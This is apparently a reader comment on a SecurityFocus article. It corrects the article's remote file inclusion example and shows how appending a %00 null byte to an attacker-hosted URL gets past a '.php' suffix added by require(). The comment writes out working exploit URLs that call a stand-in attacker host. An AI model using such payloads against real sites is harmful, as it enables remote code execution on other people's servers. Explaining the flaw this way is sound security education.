There is a typo:

http://www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt

that is not the proper exploit to leverage this hole:

require ($page . ".php");

becase of the ".php"

you need to end the attacker's url with a hexed null byte %00 like this:

http://www.vulnsite.com/index.php?page=http://www.attacker.com/attack.txt%00

Some quality control will make you look more professional.

[ reply ]

Link to this comment: http://www.securityfocus.com/comments/infocus/1864/558#558